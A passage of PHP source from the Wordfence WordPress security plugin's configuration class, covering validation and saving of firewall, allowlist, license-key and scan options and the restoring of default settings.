preg_replace('/[\r\n\s\t]+/', ',', $value)); $dirtyWhitelisted = array_filter($dirtyWhitelisted); $badWhiteIPs = array(); $range = new wfUserIPRange(); foreach ($dirtyWhitelisted as $whiteIP) { $range->setIPString($whiteIP); if (!$range->isValidRange()) { $badWhiteIPs[] = $whiteIP; } } if (count($badWhiteIPs) > 0) { $errors[] = array('option' => $key, 'error' => __('Please make sure you separate your IP addresses with commas or newlines. The following allowlisted IP addresses are invalid: ', 'wordfence') . esc_html(implode(', ', $badWhiteIPs), array())); } $checked = true; break; } case 'liveTraf_ignoreUsers': { $dirtyUsers = explode(',', $value); $invalidUsers = array(); foreach ($dirtyUsers as $val) { $val = trim($val); if (strlen($val) > 0) { if (!get_user_by('login', $val)) { $invalidUsers[] = $val; } } } if (count($invalidUsers) > 0) { $errors[] = array('option' => $key, 'error' => __('The following users you selected to ignore in live traffic reports are not valid on this system: ', 'wordfence') . esc_html(implode(', ', $invalidUsers), array())); } $checked = true; break; } case 'liveTraf_ignoreIPs': { $dirtyIPs = explode(',', preg_replace('/[\r\n\s\t]+/', '', $value)); $dirtyIPs = array_filter($dirtyIPs); $invalidIPs = array(); foreach ($dirtyIPs as $val) { if (!wfUtils::isValidIP($val)) { $invalidIPs[] = $val; } } if (count($invalidIPs) > 0) { $errors[] = array('option' => $key, 'error' => __('The following IPs you selected to ignore in live traffic reports are not valid: ', 'wordfence') . esc_html(implode(', ', $invalidIPs), array())); } $checked = true; break; } case 'howGetIPs_trusted_proxies': { $dirtyIPs = preg_split('/[\r\n,]+/', $value); $dirtyIPs = array_filter($dirtyIPs); $invalidIPs = array(); foreach ($dirtyIPs as $val) { if (!(wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val))) { $invalidIPs[] = $val; } } if (count($invalidIPs) > 0) { $errors[] = array('option' => $key, 'error' => __('The following IPs/ranges you selected to trust as proxies are not valid: ', 'wordfence') . esc_html(implode(', ', $invalidIPs), array())); } $checked = true; break; } case 'howGetIPs_trusted_proxy_preset': { $presets = wfConfig::getJSON('ipResolutionList', array()); if (!is_array($presets)) { $presets = array(); } if (!(empty($value) /* "None" */ || isset($presets[$value]))) { $errors[] = array('option' => $key, 'error' => __('The selected trusted proxy preset is not valid: ', 'wordfence') . esc_html($value)); } $checked = true; break; } case 'apiKey': { $value = trim($value); if (empty($value)) { $errors[] = array('option' => $key, 'error' => __('An empty license key was entered.', 'wordfence')); } else if ($value && !preg_match('/^[a-fA-F0-9]+$/', $value)) { $errors[] = array('option' => $key, 'error' => __('The license key entered is not in a valid format. It must contain only numbers and the letters A-F.', 'wordfence')); } $checked = true; break; } case 'scan_exclude': { $exclusionList = explode("\n", trim($value)); foreach ($exclusionList as $exclusion) { $exclusion = trim($exclusion); if ($exclusion === '*') { $errors[] = array('option' => $key, 'error' => __('A wildcard cannot be used to exclude all files from the scan.', 'wordfence')); } } $checked = true; break; } case 'scan_max_resume_attempts': { $value = (int) $value; wfScanMonitor::validateResumeAttempts($value, $valid); if (!$valid) $errors[] = array('option' => $key, 'error' => sprintf(__('Invalid number of scan resume attempts specified: %d', 'wordfence'), $value)); break; } } } if (empty($errors)) { return true; } return $errors; } public static function clean($changes) { $cleaned = array(); foreach ($changes as $key => $value) { if (preg_match('/^whitelistedServices\.([a-z0-9]+)$/i', $key, $matches)) { if (!isset($cleaned['whitelistedServices']) || !is_array($cleaned['whitelistedServices'])) { $cleaned['whitelistedServices'] = wfConfig::getJSON('whitelistedServices', array()); } $cleaned['whitelistedServices'][$matches[1]] = wfUtils::truthyToBoolean($value); } else { $cleaned[$key] = $value; } } return $cleaned; } /** * Saves the array of configuration changes in the correct place. This may currently be the wfConfig table, the WAF's config file, or both. The * validation function will handle all bounds checks and this will be limited to normalizing the values as needed. * * @param array $changes * @throws wfConfigException * @throws wfWAFStorageFileException */ public static function save($changes) { $waf = wfWAF::getInstance(); $wafConfig = $waf->getStorageEngine(); $events = array(); $apiKey = false; if (isset($changes['apiKey'])) { //Defer to end $apiKey = $changes['apiKey']; unset($changes['apiKey']); } foreach ($changes as $key => $value) { $saved = false; switch ($key) { //============ WAF case 'learningModeGracePeriod': { $wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus')); if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING) { $dt = wfUtils::parseLocalTime($value); $gracePeriodEnd = $dt->format('U'); $wafConfig->setConfig($key, $gracePeriodEnd); } $saved = true; break; } case 'learningModeGracePeriodEnabled': { $wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus')); if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING) { $wafConfig->setConfig($key, wfUtils::truthyToInt($value)); } $saved = true; break; } case 'wafStatus': { $before = $wafConfig->getConfig($key); $wafConfig->setConfig($key, $value); if ($value != wfFirewall::FIREWALL_MODE_LEARNING) { $wafConfig->setConfig('learningModeGracePeriodEnabled', 0); $wafConfig->unsetConfig('learningModeGracePeriod'); } $firewall = new wfFirewall(); $firewall->syncStatus(true); if ($value == wfFirewall::FIREWALL_MODE_DISABLED) { $currentUser = wp_get_current_user(); $username = $currentUser->user_login; $alertCallback = array(new wfWafDeactivatedAlert($username, wfUtils::getIP()), 'send'); do_action('wordfence_security_event', 'wafDeactivated', array( 'username' => $username, 'ip' => wfUtils::getIP(), ), $alertCallback); } if ($before != $value) { /** * Fires when the WAF mode changes. * * @param string $before The previous mode. * @param string $after The new mode. * @since 8.0.0 * */ do_action('wordfence_waf_mode', $before, $value); } $saved = true; break; } case 'wafRules': { $changes = array('enabled' => array(), 'disabled' => array()); $disabledRules = (array) $wafConfig->getConfig('disabledRules'); foreach ($value as $ruleID => $ruleEnabled) { $ruleID = (int) $ruleID; if ($ruleEnabled) { if (isset($disabledRules[$ruleID])) { $changes['enabled'][] = $ruleID; } unset($disabledRules[$ruleID]); } else { if (!isset($disabledRules[$ruleID])) { $changes['disabled'][] = $ruleID; } $disabledRules[$ruleID] = true; } } $wafConfig->setConfig('disabledRules', $disabledRules); if (!empty($changes['enabled']) || !empty($changes['disabled'])) { /** * Fires when the rules are enabled or disabled for the WAF. * * @param array $changes { * An array containing the rule status changes. * * @type int[] $enabled The rules that were enabled. * @type int[] $disabled The rules that were disabled. * } * @since 8.0.0 * */ do_action('wordfence_waf_changed_rule_status', $changes); } $saved = true; break; } case 'whitelistedURLParams': { $deleting = array(); $toggling = array(); $adding = array(); $whitelistedURLParams = (array) $wafConfig->getConfig('whitelistedURLParams', null, 'livewaf'); if (isset($value['delete'])) { foreach ($value['delete'] as $whitelistKey => $d) { if (array_key_exists($whitelistKey, $whitelistedURLParams) && is_array($whitelistedURLParams[$whitelistKey])) { //Start with the metadata for the rule (e.g., time created, description, etc) $value = isset($whitelistedURLParams[$whitelistKey]['all']) ? $whitelistedURLParams[$whitelistKey]['all'] : wfUtils::array_first($whitelistedURLParams[$whitelistKey]); //It is possible that an entry may apply to multiple rules, but the values are similar enough we can grab only one //Add the parameters $value['rule'] = (count($whitelistedURLParams[$whitelistKey]) > 1) ? array_keys($whitelistedURLParams[$whitelistKey]) : wfUtils::array_key_first($whitelistedURLParams[$whitelistKey]); $components = explode('|', $whitelistKey); if (count($components) >= 2) { $value['path'] = base64_decode($components[0]); $value['paramKey'] = base64_decode($components[1]); } $deleting[] = $value; } unset($whitelistedURLParams[$whitelistKey]); } } if (isset($value['enabled'])) { foreach ($value['enabled'] as $whitelistKey => $enabled) { if (array_key_exists($whitelistKey, $whitelistedURLParams) && is_array($whitelistedURLParams[$whitelistKey])) { foreach ($whitelistedURLParams[$whitelistKey] as $ruleID => $data) { $whitelistedURLParams[$whitelistKey][$ruleID]['disabled'] = !$enabled; } $value = isset($whitelistedURLParams[$whitelistKey]['all']) ? $whitelistedURLParams[$whitelistKey]['all'] : wfUtils::array_first($whitelistedURLParams[$whitelistKey]); $value['rule'] = (count($whitelistedURLParams[$whitelistKey]) > 1) ? array_keys($whitelistedURLParams[$whitelistKey]) : wfUtils::array_key_first($whitelistedURLParams[$whitelistKey]); $components = explode('|', $whitelistKey); if (count($components) >= 2) { $value['path'] = base64_decode($components[0]); $value['paramKey'] = base64_decode($components[1]); } $toggling[] = $value; } } } $wafConfig->setConfig('whitelistedURLParams', $whitelistedURLParams, 'livewaf'); if (isset($value['add'])) { foreach ($value['add'] as $entry) { $path = @base64_decode($entry['path']); $paramKey = @base64_decode($entry['paramKey']); if (!$path || !$paramKey) { continue; } $data = array( 'timestamp' => (int) $entry['data']['timestamp'], 'description' => $entry['data']['description'], 'ip' => wfUtils::getIP(), 'disabled' => !!$entry['data']['disabled'], ); if (function_exists('get_current_user_id')) { $data['userID'] = get_current_user_id(); } $waf->whitelistRuleForParam($path, $paramKey, 'all', $data); $adding[] = array_merge(array('rule' => 'all', 'path' => $path, 'paramKey' => $paramKey), $data); } } if (!empty($toggling)) { /** * Fires when WAF allow entries are manually enabled/disabled. * * @since 8.0.0 * * @param array $toggling { * An array containing the entries that were enabled/disabled. * * @type string|array $rule The rule(s) that the entry applies to. May be `all` or rule number(s) * @type int $timestamp The timestamp when the entry was created. * @type string $description The description of the entry. * @type string $ip The IP address that caused the entry to be created. * @type bool $disabled Whether or not the entry is disabled. * @type int $userID (optional) The user ID that created the entry if applicable. * @type string $path The URL path the entry applies to. * @type string $paramKey The parameter key the entry applies to. * } */ do_action('wordfence_waf_toggled_allow_entry', $toggling); } if (!empty($deleting)) { /** * Fires when WAF allow entries are manually deleted. * * @since 8.0.0 * * @see wfConfig.php::wordfence_waf_toggled_allow_entry for the payload structure */ do_action('wordfence_waf_deleted_allow_entry', $deleting); } if (!empty($adding)) { /** * Fires when WAF allow entries are manually added. * * @since 8.0.0 * * @see wfConfig.php::wordfence_waf_toggled_allow_entry for the payload structure */ do_action('wordfence_waf_created_allow_entry', $adding); } $saved = true; break; } case 'disableWAFBlacklistBlocking': { $before = $wafConfig->getConfig($key); $wafConfig->setConfig($key, wfUtils::truthyToInt($value)); if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) { wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST); } if ($value) { $cron = wfWAF::getInstance()->getStorageEngine()->getConfig('cron', array(), 'livewaf'); if (!is_array($cron)) { $cron = array(); } foreach ($cron as $cronKey => $cronJob) { if ($cronJob instanceof wfWAFCronFetchBlacklistPrefixesEvent) { unset($cron[$cronKey]); } } $cron[] = new wfWAFCronFetchBlacklistPrefixesEvent(time() - 1); wfWAF::getInstance()->getStorageEngine()->setConfig('cron', $cron, 'livewaf'); } if (wfUtils::truthyToBoolean($before) != wfUtils::truthyToBoolean($value)) { /** * Fires when the WAF mode changes. * * @param string $before The previous mode. * @param string $after The new mode. True means enabled, false means disabled. * @since 8.0.0 * */ do_action('wordfence_waf_toggled_blocklist', !wfUtils::truthyToBoolean($before), !wfUtils::truthyToBoolean($value)); } $saved = true; break; } case 'avoid_php_input': { $wafConfig->setConfig($key, wfUtils::truthyToInt($value)); $saved = true; break; } //============ Plugin (specialty treatment) case 'alertEmails': { $emails = explode(',', preg_replace('/[\r\n\s\t]+/', '', $value)); $emails = array_filter($emails); //Already validated above if (count($emails) > 0) { wfConfig::set($key, implode(',', $emails)); } else { wfConfig::set($key, ''); } $saved = true; break; } case 'loginSec_userBlacklist': case 'scan_exclude': case 'email_summary_excluded_directories': { if (is_array($value)) { $value = implode("\n", $value); } wfConfig::set($key, wfUtils::cleanupOneEntryPerLine($value)); $saved = true; break; } case 'whitelisted': { $whiteIPs = explode(',', preg_replace('/[\r\n\s\t]+/', ',', $value)); $whiteIPs = array_filter($whiteIPs); //Already validated above if (count($whiteIPs) > 0) { wfConfig::set($key, implode(',', $whiteIPs)); } else { wfConfig::set($key, ''); } if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) { wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST); } $saved = true; break; } case 'whitelistedServices': { if (is_string($value)) { //Already JSON (import/export settings) wfConfig::set($key, $value); } else { wfConfig::setJSON($key, (array) $value); } $wafConfig->setConfig('whitelistedServiceIPs', @json_encode(wfUtils::whitelistedServiceIPs()), 'synced'); if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) { wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST); } $saved = true; break; } case 'liveTraf_ignoreUsers': { $dirtyUsers = explode(',', $value); $validUsers = array(); foreach ($dirtyUsers as $val) { $val = trim($val); if (strlen($val) > 0) { $validUsers[] = $val; //Already validated above } } if (count($validUsers) > 0) { wfConfig::set($key, implode(',', $validUsers)); } else { wfConfig::set($key, ''); } $saved = true; break; } case 'liveTraf_ignoreIPs': { $validIPs = explode(',', preg_replace('/[\r\n\s\t]+/', '', $value)); $validIPs = array_filter($validIPs); //Already validated above if (count($validIPs) > 0) { wfConfig::set($key, implode(',', $validIPs)); } else { wfConfig::set($key, ''); } $saved = true; break; } case 'liveTraf_ignoreUA': { if (preg_match('/[a-zA-Z0-9\d]+/', $value)) { wfConfig::set($key, trim($value)); } else { wfConfig::set($key, ''); } $saved = true; break; } case 'howGetIPs_trusted_proxies': { $validIPs = preg_split('/[\r\n,]+/', $value); $validIPs = array_filter($validIPs); //Already validated above if (count($validIPs) > 0) { wfConfig::set($key, implode("\n", $validIPs)); } else { wfConfig::set($key, ''); } $saved = true; break; } case 'other_WFNet': { $value = wfUtils::truthyToBoolean($value); wfConfig::set($key, $value); if (!$value) { wfBlock::removeTemporaryWFSNBlocks(); } $saved = true; break; } case 'howGetIPs': { wfConfig::set($key, $value); wfConfig::set('detectProxyNextCheck', false, wfConfig::DONT_AUTOLOAD); $saved = true; break; } case 'bannedURLs': { wfConfig::set($key, preg_replace('/[\n\r]+/', ',', $value)); $saved = true; break; } case 'autoUpdate': { if (wfUtils::truthyToBoolean($value)) { wfConfig::enableAutoUpdate(); //Also sets the option } else { wfConfig::disableAutoUpdate(); } $saved = true; break; } case 'disableCodeExecutionUploads': { $value = wfUtils::truthyToBoolean($value); wfConfig::set($key, $value); if ($value) { wfConfig::disableCodeExecutionForUploads(); //Can throw wfConfigException } else { wfConfig::removeCodeExecutionProtectionForUploads(); } $saved = true; break; } case 'email_summary_interval': { wfConfig::set($key, $value); wfActivityReport::scheduleCronJob(); $saved = true; break; } case 'email_summary_enabled': { $value = wfUtils::truthyToBoolean($value); wfConfig::set($key, $value); if ($value) { wfActivityReport::scheduleCronJob(); } else { wfActivityReport::disableCronJob(); } $saved = true; break; } case 'other_hideWPVersion': { $value = wfUtils::truthyToBoolean($value); wfConfig::set($key, $value); if ($value) { wfUtils::hideReadme(); } else { wfUtils::showReadme(); } $saved = true; break; } case 'liveTraf_maxAge': { $value = max(1, $value); break; } //Scan scheduling case 'scanSched': case 'schedStartHour': case 'manualScanType': case 'schedMode': case 'scheduledScansEnabled': { wfScanner::setNeedsRescheduling(); //Letting these fall through to the default save handler break; } } //============ Plugin (default treatment) if (!$saved) { if (isset(self::$defaultConfig['checkboxes'][$key]) || (isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_BOOL) || (isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_BOOL)) { //Boolean wfConfig::set($key, wfUtils::truthyToInt($value)); } else if ((isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_INT) || (isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_INT)) { wfConfig::set($key, (int) $value); } else if ((isset(self::$defaultConfig['otherParams'][$key]) && (self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_FLOAT || self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_DOUBLE)) || (isset(self::$defaultConfig['defaultsOnly'][$key]) && (self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_FLOAT || self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_DOUBLE))) { wfConfig::set($key, (double) $value); } else if ((isset(self::$defaultConfig['otherParams'][$key]) && self::$defaultConfig['otherParams'][$key]['validation']['type'] == self::TYPE_STRING) || (isset(self::$defaultConfig['defaultsOnly'][$key]) && self::$defaultConfig['defaultsOnly'][$key]['validation']['type'] == self::TYPE_STRING)) { wfConfig::set($key, (string) $value); } else if (in_array($key, self::$serializedOptions)) { wfConfig::set_ser($key, $value); } else if (in_array($key, self::$wfCentralInternalConfig)) { wfConfig::set($key, $value); } else if (WFWAF_DEBUG) { error_log("*** DEBUG: Config option '{$key}' missing save handler."); } } } if ($apiKey !== false) { $existingAPIKey = wfConfig::get('apiKey', ''); $apiKey = strtolower(trim($apiKey)); //Already validated above $ping = false; if (empty($apiKey)) { //Empty, try getting a free key $api = new wfAPI('', wfUtils::getWPVersion()); try { $keyData = $api->call('get_anon_api_key'); if ($keyData['ok'] && $keyData['apiKey']) { wfConfig::set('apiKey', $keyData['apiKey']); wfConfig::set('isPaid', false); wfConfig::set('keyType', wfLicense::KEY_TYPE_FREE); wordfence::licenseStatusChanged(); wfConfig::set('touppPromptNeeded', true); } else { throw new Exception(__("The Wordfence server's response did not contain the expected elements.", 'wordfence')); } } catch (Exception $e) { throw new wfConfigException(__('Your options have been saved, but you left your license key blank, so we tried to get you a free license key from the Wordfence servers. There was a problem fetching the free key: ', 'wordfence') . wp_kses($e->getMessage(), array())); } } else if ($existingAPIKey != $apiKey) { //Key changed, try activating $api = new wfAPI($apiKey, wfUtils::getWPVersion()); try { $res = $api->call('check_api_key', array(), array('previousLicense' => $existingAPIKey)); if ($res['ok'] && isset($res['isPaid'])) { $isPaid = wfUtils::truthyToBoolean($res['isPaid']); wfConfig::set('apiKey', $apiKey); wfConfig::set('isPaid', $isPaid); //res['isPaid'] is boolean coming back as JSON and turned back into PHP struct. Assuming JSON to PHP handles bools. wordfence::licenseStatusChanged(); if (!$isPaid) { wfConfig::set('keyType', wfLicense::KEY_TYPE_FREE); } $ping = true; } else { throw new Exception(__("The Wordfence server's response did not contain the expected elements.", 'wordfence')); } } catch (Exception $e) { throw new wfConfigException(__('Your options have been saved. However we noticed you changed your license key, and we tried to verify it with the Wordfence servers but received an error: ', 'wordfence') . wp_kses($e->getMessage(), array())); } } else { //Key unchanged, just ping it $ping = true; } if ($ping) { $api = new wfAPI($apiKey, wfUtils::getWPVersion()); try { $keyType = wfLicense::KEY_TYPE_FREE; $keyData = $api->call('ping_api_key', array(), array('supportHash' => wfConfig::get('supportHash', ''), 'whitelistHash' => wfConfig::get('whitelistHash', ''), 'tldlistHash' => wfConfig::get('tldlistHash', ''), 'ipResolutionListHash' => wfConfig::get('ipResolutionListHash', ''))); if (isset($keyData['_isPaidKey'])) { $keyType = wfConfig::get('keyType'); } if (isset($keyData['dashboard'])) { wfConfig::set('lastDashboardCheck', time()); wfDashboard::processDashboardResponse($keyData['dashboard']); } if (isset($keyData['support']) && isset($keyData['supportHash'])) { wfConfig::set('supportContent', $keyData['support'], wfConfig::DONT_AUTOLOAD); wfConfig::set('supportHash', $keyData['supportHash']); } if (isset($keyData['_whitelist']) && isset($keyData['_whitelistHash'])) { wfConfig::setJSON('whitelistPresets', $keyData['_whitelist']); wfConfig::set('whitelistHash', $keyData['_whitelistHash']); } if (isset($keyData['_tldlist']) && isset($keyData['_tldlistHash'])) { wfConfig::set('tldlist', $keyData['_tldlist'], wfConfig::DONT_AUTOLOAD); wfConfig::set('tldlistHash', $keyData['_tldlistHash']); } if (isset($keyData['_ipResolutionList']) && isset($keyData['_ipResolutionListHash'])) { wfConfig::setJSON('ipResolutionList', $keyData['_ipResolutionList']); wfConfig::set('ipResolutionListHash', $keyData['_ipResolutionListHash']); } if (isset($keyData['scanSchedule']) && is_array($keyData['scanSchedule'])) { wfConfig::set_ser('noc1ScanSchedule', $keyData['scanSchedule']); if (wfScanner::shared()->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC) { wfScanner::shared()->scheduleScans(); } } if (isset($keyData['showWfCentralUI'])) { wfConfig::set('showWfCentralUI', (int) $keyData['showWfCentralUI']); } wfConfig::set('keyType', $keyType); } catch (Exception $e){ throw new wfConfigException(__('Your options have been saved. However we tried to verify your license key with the Wordfence servers and received an error: ', 'wordfence') . wp_kses($e->getMessage(), array())); } } } wfNotification::reconcileNotificationsWithOptions(); wfCentral::requestConfigurationSync(); } public static function restoreDefaults($section) { switch ($section) { case self::OPTIONS_TYPE_GLOBAL: $options = array( 'alertOn_critical', 'alertOn_update', 'alertOn_warnings', 'alertOn_throttle', 'alertOn_block', 'alertOn_loginLockout', 'alertOn_breachLogin', 'alertOn_lostPasswdForm', 'alertOn_adminLogin', 'alertOn_firstAdminLoginOnly', 'alertOn_nonAdminLogin', 'alertOn_firstNonAdminLoginOnly', 'alertOn_wordfenceDeactivated', 'liveActivityPauseEnabled', 'notification_updatesNeeded', 'notification_securityAlerts', 'notification_promotions', 'notification_blogHighlights', 'notification_productUpdates', 'notification_scanStatus', 'enableRemoteIpLookup', 'other_hideWPVersion', 'other_bypassLitespeedNoabort', 'deleteTablesOnDeact', 'autoUpdate', 'disableCodeExecutionUploads', 'email_summary_enabled', 'email_summary_dashboard_widget_enabled', 'howGetIPs', 'actUpdateInterval', 'alert_maxHourly', 'email_summary_interval', 'email_summary_excluded_directories', 'howGetIPs_trusted_proxies', 'howGetIPs_trusted_proxy_preset', 'displayTopLevelOptions', ); break; case self::OPTIONS_TYPE_FIREWALL: $options = array( 'firewallEnabled', 'autoBlockScanners', 'loginSecurityEnabled', 'loginSec_strongPasswds_enabled', 'loginSec_breachPasswds_enabled', 'loginSec_lockInvalidUsers', 'loginSec_maskLoginErrors', 'loginSec_blockAdminReg', 'loginSec_disableAuthorScan', 'loginSec_disableOEmbedAuthor', 'other_blockBadPOST', 'other_pwStrengthOnUpdate', 'other_WFNet', 'ajaxWatcherDisabled_front', 'ajaxWatcherDisabled_admin', 'wafAlertOnAttacks', 'disableWAFIPBlocking', 'whitelisted', 'whitelistedServices', 'bannedURLs', 'loginSec_userBlacklist', 'neverBlockBG', 'loginSec_countFailMins', 'loginSec_lockoutMins', 'loginSec_strongPasswds', 'loginSec_breachPasswds', 'loginSec_maxFailures', 'loginSec_maxForgotPasswd', 'maxGlobalRequests', 'maxGlobalRequests_action', 'maxRequestsCrawlers', 'maxRequestsCrawlers_action', 'maxRequestsHumans', 'maxRequestsHumans_action', 'max404Crawlers', 'max404Crawlers_action', 'max404Humans', 'max404Humans_action', 'blockedTime', 'allowed404s', 'wafAlertWhitelist', 'wafAlertInterval', 'wafAlertThreshold', 'dismissAutoPrependNotice', ); break; case self::OPTIONS_TYPE_BLOCKING: $options = array( 'displayTopLevelBlocking', 'cbl_loggedInBlocked', 'cbl_action', 'cbl_redirURL', 'cbl_bypassRedirURL', 'cbl_bypassRedirDest', 'cbl_bypassViewURL', ); break; case self::OPTIONS_TYPE_SCANNER: $options = array( 'checkSpamIP', 'spamvertizeCheck', 'scheduledScansEnabled', 'lowResourceScansEnabled', 'scansEnabled_checkGSB', 'scansEnabled_checkHowGetIPs', 'scansEnabled_core', 'scansEnabled_themes', 'scansEnabled_plugins', 'scansEnabled_coreUnknown', 'scansEnabled_malware', 'scansEnabled_fileContents', 'scansEnabled_fileContentsGSB', 'scansEnabled_checkReadableConfig', 'scansEnabled_suspectedFiles', 'scansEnabled_posts', 'scansEnabled_comments', 'scansEnabled_suspiciousOptions', 'scansEnabled_passwds', 'scansEnabled_diskSpace', 'scansEnabled_wafStatus', 'scansEnabled_options', 'scansEnabled_wpscan_fullPathDisclosure', 'scansEnabled_wpscan_directoryListingEnabled', 'scansEnabled_scanImages', 'scansEnabled_highSense', 'scansEnabled_oldVersions', 'scansEnabled_suspiciousAdminUsers', 'scan_include_extra', 'maxMem', 'scan_exclude', 'scan_maxIssues', 'scan_maxDuration', 'maxExecutionTime', 'scanType', 'manualScanType', 'schedMode', ); break; case self::OPTIONS_TYPE_TWO_FACTOR: $options = array( 'loginSec_requireAdminTwoFactor', 'loginSec_enableSeparateTwoFactor', ); break; case self::OPTIONS_TYPE_LIVE_TRAFFIC: $options = array( 'liveTrafficEnabled', 'liveTraf_ignorePublishers', 'liveTraf_displayExpandedRecords', 'liveTraf_ignoreUsers', 'liveTraf_ignoreIPs', 'liveTraf_ignoreUA', 'liveTraf_maxRows', 'liveTraf_maxAge', 'displayTopLevelLiveTraffic', ); break; case self::OPTIONS_TYPE_AUDIT_LOG: $options = array( 'auditLogMode', 'displayTopLevelAuditLog', ); break; case self::OPTIONS_TYPE_DIAGNOSTICS: $options = array( 'debugOn', 'startScansRemotely', 'ssl_verify', 'wordfenceI18n', ); break; case self::OPTIONS_TYPE_ALL: $options = array( 'alertOn_critical', 'alertOn_update', 'alertOn_warnings', 'alertOn_throttle', 'alertOn_block', 'alertOn_loginLockout', 'alertOn_breachLogin', 'alertOn_lostPasswdForm', 'alertOn_adminLogin', 'alertOn_firstAdminLoginOnly', 'alertOn_nonAdminLogin', 'alertOn_firstNonAdminLoginOnly', 'alertOn_wordfenceDeactivated', 'liveActivityPauseEnabled', 'notification_updatesNeeded', 'notification_securityAlerts', 'notification_promotions', 'notification_blogHighlights', 'notification_productUpdates', 'notification_scanStatus', 'other_hideWPVersion', 'other_bypassLitespeedNoabort', 'deleteTablesOnDeact', 'autoUpdate', 'disableCodeExecutionUploads', 'email_summary_enabled', 'email_summary_dashboard_widget_enabled', 'howGetIPs', 'actUpdateInterval', 'alert_maxHourly', 'email_summary_interval', 'email_summary_excluded_directories', 'howGetIPs_trusted_proxies', 'howGetIPs_trusted_proxy_preset', 'firewallEnabled', 'autoBlockScanners', 'loginSecurityEnabled', 'loginSec_strongPasswds_enabled', 'loginSec_breachPasswds_enabled', 'loginSec_lockInvalidUsers', 'loginSec_maskLoginErrors', 'loginSec_blockAdminReg', 'loginSec_disableAuthorScan', 'loginSec_disableOEmbedAuthor', 'other_blockBadPOST', 'other_pwStrengthOnUpdate', 'other_WFNet', 'ajaxWatcherDisabled_front', 'ajaxWatcherDisabled_admin', 'wafAlertOnAttacks', 'disableWAFIPBlocking', 'whitelisted', 'whitelistedServices', 'bannedURLs', 'loginSec_userBlacklist', 'neverBlockBG', 'loginSec_countFailMins', 'loginSec_lockoutMins', 'loginSec_strongPasswds', 'loginSec_breachPasswds', 'loginSec_maxFailures', 'loginSec_maxForgotPasswd', 'maxGlobalRequests', 'maxGlobalRequests_action', 'maxRequestsCrawlers', 'maxRequestsCrawlers_action', 'maxRequestsHumans', 'maxRequestsHumans_action', 'max404Crawlers', 'max404Crawlers_action', 'max404Humans', 'max404Humans_action', 'blockedTime', 'allowed404s', 'wafAlertWhitelist', 'wafAlertInterval', 'wafAlertThreshold', 'dismissAutoPrependNotice', 'displayTopLevelBlocking', 'cbl_loggedInBlocked', 'cbl_action', 'cbl_redirURL', 'cbl_bypassRedirURL', 'cbl_bypassRedirDest', 'cbl_bypassViewURL', 'checkSpamIP', 'spamvertizeCheck', 'scheduledScansEnabled', 'lowResourceScansEnabled', 'scansEnabled_checkGSB', 'scansEnabled_checkHowGetIPs', 'scansEnabled_core', 'scansEnabled_themes', 'scansEnabled_plugins', 'scansEnabled_coreUnknown', 'scansEnabled_malware', 'scansEnabled_fileContents', 'scansEnabled_fileContentsGSB', 'scansEnabled_checkReadableConfig', 'scansEnabled_suspectedFiles', 'scansEnabled_posts', 'scansEnabled_comments', 'scansEnabled_suspiciousOptions', 'scansEnabled_passwds', 'scansEnabled_diskSpace', 'scansEnabled_wafStatus', 'scansEnabled_options', 'scansEnabled_wpscan_fullPathDisclosure', 'scansEnabled_wpscan_directoryListingEnabled', 'scansEnabled_scanImages', 'scansEnabled_highSense', 'scansEnabled_oldVersions', 'scansEnabled_suspiciousAdminUsers', 'scan_include_extra', 'maxMem', 'scan_exclude', 'scan_maxIssues', 'scan_maxDuration', 'maxExecutionTime', 'scanType', 'manualScanType', 'schedMode', 'loginSec_requireAdminTwoFactor', 'loginSec_enableSeparateTwoFactor', 'liveTrafficEnabled', 'liveTraf_ignorePublishers', 'liveTraf_displayExpandedRecords', 'liveTraf_ignoreUsers', 'liveTraf_ignoreIPs', 'liveTraf_ignoreUA', 'liveTraf_maxRows', 'liveTraf_maxAge', 'displayTopLevelLiveTraffic', 'other_scanComments', 'advancedCommentScanning', ); break; } if (isset($options)) { $changes = array(); foreach ($options as $key) { if (isset(self::$defaultConfig['checkboxes'][$key])) { $changes[$key] = self::$defaultConfig['checkboxes'][$key]['value']; } else if (isset(self::$defaultConfig['otherParams'][$key])) { $changes[$key] = self::$defaultConfig['otherParams'][$key]['value']; } else if (isset(self::$defaultConfig['defaultsOnly'][$key])) { $changes[$key] = self::$defaultConfig['defaultsOnly'][$key]['value']; } } try { self::save($changes); return true; } catch (Exception $e) { //Do nothing } } return false; } private static function _handleActionHooks($key, $newValue) { switch ($key) { case 'whitelisted': { $before = explode(',', wfConfig::get($key)); /** * Fires when the allowed IP list changes. * * @since 8.0.0 * * @param string[] $before The previous IP list. * @param string[] $after The new IP list. */ do_action('wordfence_updated_allowed_ips', $before, explode(',', $newValue)); break; } case 'whitelistedServices': { $before = (array) wfConfig::getJSON($key, array()); $after = json_decode($newValue, true); /** * Fires when the allowed service list changes. * * @since 8.0.0 * * @param string[] $before The previous service list. * @param string[] $after The new service list. */ 